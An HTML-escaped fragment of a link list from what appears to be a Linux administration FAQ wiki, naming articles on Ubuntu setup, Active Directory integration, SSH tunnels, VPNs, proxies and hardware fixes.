&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/simple_http_server_using_python&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:simple_http_server_using_python&quot; data-wiki-id=&quot;linux_faq:simple_http_server_using_python&quot;&gt;simple_http_server_using_python&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/simulate_spam&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:simulate_spam&quot; data-wiki-id=&quot;linux_faq:simulate_spam&quot;&gt;simulate_spam&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/softether_ubuntu_16.04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:softether_ubuntu_16.04&quot; data-wiki-id=&quot;linux_faq:softether_ubuntu_16.04&quot;&gt;softether_ubuntu_16.04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/soundwire&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:soundwire&quot; data-wiki-id=&quot;linux_faq:soundwire&quot;&gt;soundwire&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ssd_overprovisioning_setup&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ssd_overprovisioning_setup&quot; data-wiki-id=&quot;linux_faq:ssd_overprovisioning_setup&quot;&gt;ssd_overprovisioning_setup&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ssh_in_browser&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ssh_in_browser&quot; data-wiki-id=&quot;linux_faq:ssh_in_browser&quot;&gt;ssh_in_browser&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ssh_over_ssl&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ssh_over_ssl&quot; data-wiki-id=&quot;linux_faq:ssh_over_ssl&quot;&gt;ssh_over_ssl&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ssh_tunnel_as_systemd_service&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ssh_tunnel_as_systemd_service&quot; data-wiki-id=&quot;linux_faq:ssh_tunnel_as_systemd_service&quot;&gt;ssh_tunnel_as_systemd_service&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/systemctl_privileges_without_sudo&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:systemctl_privileges_without_sudo&quot; data-wiki-id=&quot;linux_faq:systemctl_privileges_without_sudo&quot;&gt;systemctl_privileges_without_sudo&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/test_drawio&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:test_drawio&quot; data-wiki-id=&quot;linux_faq:test_drawio&quot;&gt;test_drawio&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/tor_proxy_with_ftp_support&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:tor_proxy_with_ftp_support&quot; data-wiki-id=&quot;linux_faq:tor_proxy_with_ftp_support&quot;&gt;tor_proxy_with_ftp_support&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/transparent_squid_proxy_with_ssl_bumping&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:transparent_squid_proxy_with_ssl_bumping&quot; data-wiki-id=&quot;linux_faq:transparent_squid_proxy_with_ssl_bumping&quot;&gt;transparent_squid_proxy_with_ssl_bumping&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-14-04-kde-%D0%B8%D0%B7%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C-%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BC%D0%BE%D0%BD%D0%B8%D1%82%D0%BE%D1%80%D0%B0-screen-resolution&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-14-04-kde-изменить-разрешение-монитора-screen-resolution&quot; data-wiki-id=&quot;linux_faq:ubuntu-14-04-kde-изменить-разрешение-монитора-screen-resolution&quot;&gt;ubuntu-14-04-kde-изменить-разрешение-монитора-screen-resolution&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-active-directory-windows&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-14-04-в-домене-active-directory-windows&quot; data-wiki-id=&quot;linux_faq:ubuntu-14-04-в-домене-active-directory-windows&quot;&gt;ubuntu-14-04-в-домене-active-directory-windows&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-ad-%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F-%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%B8-firefox-%D1%81-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%BD%D0%BE%D0%B8-%D1%83%D1%87%D0%B5%D1%82%D0%BD%D0%BE%D0%B8-%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C%D1%8E&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-14-04-в-домене-ad-аутентификация-пользователеи-firefox-с-доменнои-учетнои-записью&quot; data-wiki-id=&quot;linux_faq:ubuntu-14-04-в-домене-ad-аутентификация-пользователеи-firefox-с-доменнои-учетнои-записью&quot;&gt;ubuntu-14-04-в-домене-ad-аутентификация-пользователеи-firefox-с-доменнои-учетнои-записью&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B8%D0%BA%D0%B0-thunderbird-%D0%B4%D0%BB%D1%8F-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B-%D1%81-ms-exchange&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-14-04-в-домене-настроика-thunderbird-для-работы-с-ms-exchange&quot; data-wiki-id=&quot;linux_faq:ubuntu-14-04-в-домене-настроика-thunderbird-для-работы-с-ms-exchange&quot;&gt;ubuntu-14-04-в-домене-настроика-thunderbird-для-работы-с-ms-exchange&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2%D0%B2%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-%D1%85%D0%BE%D1%81%D1%82%D0%B0-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD-ad-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-likewise-open&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-14-04-ввдение-хоста-в-домен-ad-с-помощью-likewise-open&quot; data-wiki-id=&quot;linux_faq:ubuntu-14-04-ввдение-хоста-в-домен-ad-с-помощью-likewise-open&quot;&gt;ubuntu-14-04-ввдение-хоста-в-домен-ad-с-помощью-likewise-open&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B8-atheros-ar3011-bluetooth&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-14-04-и-atheros-ar3011-bluetooth&quot; data-wiki-id=&quot;linux_faq:ubuntu-14-04-и-atheros-ar3011-bluetooth&quot;&gt;ubuntu-14-04-и-atheros-ar3011-bluetooth&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-16-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-active-directory-windows&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-16-04-в-домене-active-directory-windows&quot; data-wiki-id=&quot;linux_faq:ubuntu-16-04-в-домене-active-directory-windows&quot;&gt;ubuntu-16-04-в-домене-active-directory-windows&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-nginx-joomla-lemp&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-nginx-joomla-lemp&quot; data-wiki-id=&quot;linux_faq:ubuntu-nginx-joomla-lemp&quot;&gt;ubuntu-nginx-joomla-lemp&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-release-upgrade&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-release-upgrade&quot; data-wiki-id=&quot;linux_faq:ubuntu-release-upgrade&quot;&gt;ubuntu-release-upgrade&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu&quot; data-wiki-id=&quot;linux_faq:ubuntu&quot;&gt;ubuntu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu1804_join_ad_using_winbind_samba&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu1804_join_ad_using_winbind_samba&quot; data-wiki-id=&quot;linux_faq:ubuntu1804_join_ad_using_winbind_samba&quot;&gt;ubuntu1804_join_ad_using_winbind_samba&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_16.04_cant_mount_dfs&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_16.04_cant_mount_dfs&quot; data-wiki-id=&quot;linux_faq:ubuntu_16.04_cant_mount_dfs&quot;&gt;ubuntu_16.04_cant_mount_dfs&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_16.04_check_stig_compliance_check&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_16.04_check_stig_compliance_check&quot; data-wiki-id=&quot;linux_faq:ubuntu_16.04_check_stig_compliance_check&quot;&gt;ubuntu_16.04_check_stig_compliance_check&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_16.04_lemp&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_16.04_lemp&quot; data-wiki-id=&quot;linux_faq:ubuntu_16.04_lemp&quot;&gt;ubuntu_16.04_lemp&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_16.04_mdadm_raid_boot_initramfs_only&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_16.04_mdadm_raid_boot_initramfs_only&quot; data-wiki-id=&quot;linux_faq:ubuntu_16.04_mdadm_raid_boot_initramfs_only&quot;&gt;ubuntu_16.04_mdadm_raid_boot_initramfs_only&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_16.04_usb_keyboard_mouse_stops_working&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_16.04_usb_keyboard_mouse_stops_working&quot; data-wiki-id=&quot;linux_faq:ubuntu_16.04_usb_keyboard_mouse_stops_working&quot;&gt;ubuntu_16.04_usb_keyboard_mouse_stops_working&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_18.04_resize_root_partiton&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_18.04_resize_root_partiton&quot; data-wiki-id=&quot;linux_faq:ubuntu_18.04_resize_root_partiton&quot;&gt;ubuntu_18.04_resize_root_partiton&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_18.04_setup_strongswan&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_18.04_setup_strongswan&quot; data-wiki-id=&quot;linux_faq:ubuntu_18.04_setup_strongswan&quot;&gt;ubuntu_18.04_setup_strongswan&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_ad_faq&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_ad_faq&quot; data-wiki-id=&quot;linux_faq:ubuntu_ad_faq&quot;&gt;ubuntu_ad_faq&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_backup&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_backup&quot; data-wiki-id=&quot;linux_faq:ubuntu_backup&quot;&gt;ubuntu_backup&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_build_pidgin_from_source&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_build_pidgin_from_source&quot; data-wiki-id=&quot;linux_faq:ubuntu_build_pidgin_from_source&quot;&gt;ubuntu_build_pidgin_from_source&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_debian_reinstall_all_packages&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_debian_reinstall_all_packages&quot; data-wiki-id=&quot;linux_faq:ubuntu_debian_reinstall_all_packages&quot;&gt;ubuntu_debian_reinstall_all_packages&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_download_package_dependecies&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_download_package_dependecies&quot; data-wiki-id=&quot;linux_faq:ubuntu_download_package_dependecies&quot;&gt;ubuntu_download_package_dependecies&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_enable_hibernate&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_enable_hibernate&quot; data-wiki-id=&quot;linux_faq:ubuntu_enable_hibernate&quot;&gt;ubuntu_enable_hibernate&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_enable_root_account&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_enable_root_account&quot; data-wiki-id=&quot;linux_faq:ubuntu_enable_root_account&quot;&gt;ubuntu_enable_root_account&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_kde_mtp_device_not_available&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_kde_mtp_device_not_available&quot; data-wiki-id=&quot;linux_faq:ubuntu_kde_mtp_device_not_available&quot;&gt;ubuntu_kde_mtp_device_not_available&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_kernel_update&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_kernel_update&quot; data-wiki-id=&quot;linux_faq:ubuntu_kernel_update&quot;&gt;ubuntu_kernel_update&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_mplayer-gui_fails_to_open_png_read_error&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_mplayer-gui_fails_to_open_png_read_error&quot; data-wiki-id=&quot;linux_faq:ubuntu_mplayer-gui_fails_to_open_png_read_error&quot;&gt;ubuntu_mplayer-gui_fails_to_open_png_read_error&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_networkmanager_fortinet_vpn_disconnecting&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_networkmanager_fortinet_vpn_disconnecting&quot; data-wiki-id=&quot;linux_faq:ubuntu_networkmanager_fortinet_vpn_disconnecting&quot;&gt;ubuntu_networkmanager_fortinet_vpn_disconnecting&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_notebook_sleep_fix&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_notebook_sleep_fix&quot; data-wiki-id=&quot;linux_faq:ubuntu_notebook_sleep_fix&quot;&gt;ubuntu_notebook_sleep_fix&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_ocr_gui_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%B7%D0%BD%D0%B0%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_ubuntu_gui&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_ocr_gui_распознавание_текста_ubuntu_gui&quot; data-wiki-id=&quot;linux_faq:ubuntu_ocr_gui_распознавание_текста_ubuntu_gui&quot;&gt;ubuntu_ocr_gui_распознавание_текста_ubuntu_gui&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_pdf_transforming_tools&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_pdf_transforming_tools&quot; data-wiki-id=&quot;linux_faq:ubuntu_pdf_transforming_tools&quot;&gt;ubuntu_pdf_transforming_tools&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_release_upgrade_1604_to_1804_lxc_host&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_release_upgrade_1604_to_1804_lxc_host&quot; data-wiki-id=&quot;linux_faq:ubuntu_release_upgrade_1604_to_1804_lxc_host&quot;&gt;ubuntu_release_upgrade_1604_to_1804_lxc_host&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_replace_wpa.supplicant_with_iwd&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_replace_wpa.supplicant_with_iwd&quot; data-wiki-id=&quot;linux_faq:ubuntu_replace_wpa.supplicant_with_iwd&quot;&gt;ubuntu_replace_wpa.supplicant_with_iwd&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_setup_script&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_setup_script&quot; data-wiki-id=&quot;linux_faq:ubuntu_setup_script&quot;&gt;ubuntu_setup_script&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_vpn_no_suitable_device_found_could_not_find_source_connection&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_vpn_no_suitable_device_found_could_not_find_source_connection&quot; data-wiki-id=&quot;linux_faq:ubuntu_vpn_no_suitable_device_found_could_not_find_source_connection&quot;&gt;ubuntu_vpn_no_suitable_device_found_could_not_find_source_connection&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_wont_boot_initramfs_no_input_no_cursor&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_wont_boot_initramfs_no_input_no_cursor&quot; data-wiki-id=&quot;linux_faq:ubuntu_wont_boot_initramfs_no_input_no_cursor&quot;&gt;ubuntu_wont_boot_initramfs_no_input_no_cursor&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_x11_wayland_switch&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_x11_wayland_switch&quot; data-wiki-id=&quot;linux_faq:ubuntu_x11_wayland_switch&quot;&gt;ubuntu_x11_wayland_switch&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/udev_network_adapters_names&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:udev_network_adapters_names&quot; data-wiki-id=&quot;linux_faq:udev_network_adapters_names&quot;&gt;udev_network_adapters_names&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/uninstall_python_installed_from_source&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:uninstall_python_installed_from_source&quot; data-wiki-id=&quot;linux_faq:uninstall_python_installed_from_source&quot;&gt;uninstall_python_installed_from_source&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/universal_multiboot_grub_bios_uefi&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:universal_multiboot_grub_bios_uefi&quot; data-wiki-id=&quot;linux_faq:universal_multiboot_grub_bios_uefi&quot;&gt;universal_multiboot_grub_bios_uefi&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/unmask_masked_service&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:unmask_masked_service&quot; data-wiki-id=&quot;linux_faq:unmask_masked_service&quot;&gt;unmask_masked_service&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/usb_device_default_mode&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:usb_device_default_mode&quot; data-wiki-id=&quot;linux_faq:usb_device_default_mode&quot;&gt;usb_device_default_mode&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/usb_hub_reset&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:usb_hub_reset&quot; data-wiki-id=&quot;linux_faq:usb_hub_reset&quot;&gt;usb_hub_reset&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/using_ftp_in_bash_scripts&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:using_ftp_in_bash_scripts&quot; data-wiki-id=&quot;linux_faq:using_ftp_in_bash_scripts&quot;&gt;using_ftp_in_bash_scripts&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/using_openscap_in_ubuntu_16.04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:using_openscap_in_ubuntu_16.04&quot; data-wiki-id=&quot;linux_faq:using_openscap_in_ubuntu_16.04&quot;&gt;using_openscap_in_ubuntu_16.04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/using_windows_xserver_vcxsrv_with_graphical_applications_running_in_lxc_container&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:using_windows_xserver_vcxsrv_with_graphical_applications_running_in_lxc_container&quot; data-wiki-id=&quot;linux_faq:using_windows_xserver_vcxsrv_with_graphical_applications_running_in_lxc_container&quot;&gt;using_windows_xserver_vcxsrv_with_graphical_applications_running_in_lxc_container&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/vmware_disk_expand_without_reboot&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:vmware_disk_expand_without_reboot&quot; data-wiki-id=&quot;linux_faq:vmware_disk_expand_without_reboot&quot;&gt;vmware_disk_expand_without_reboot&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
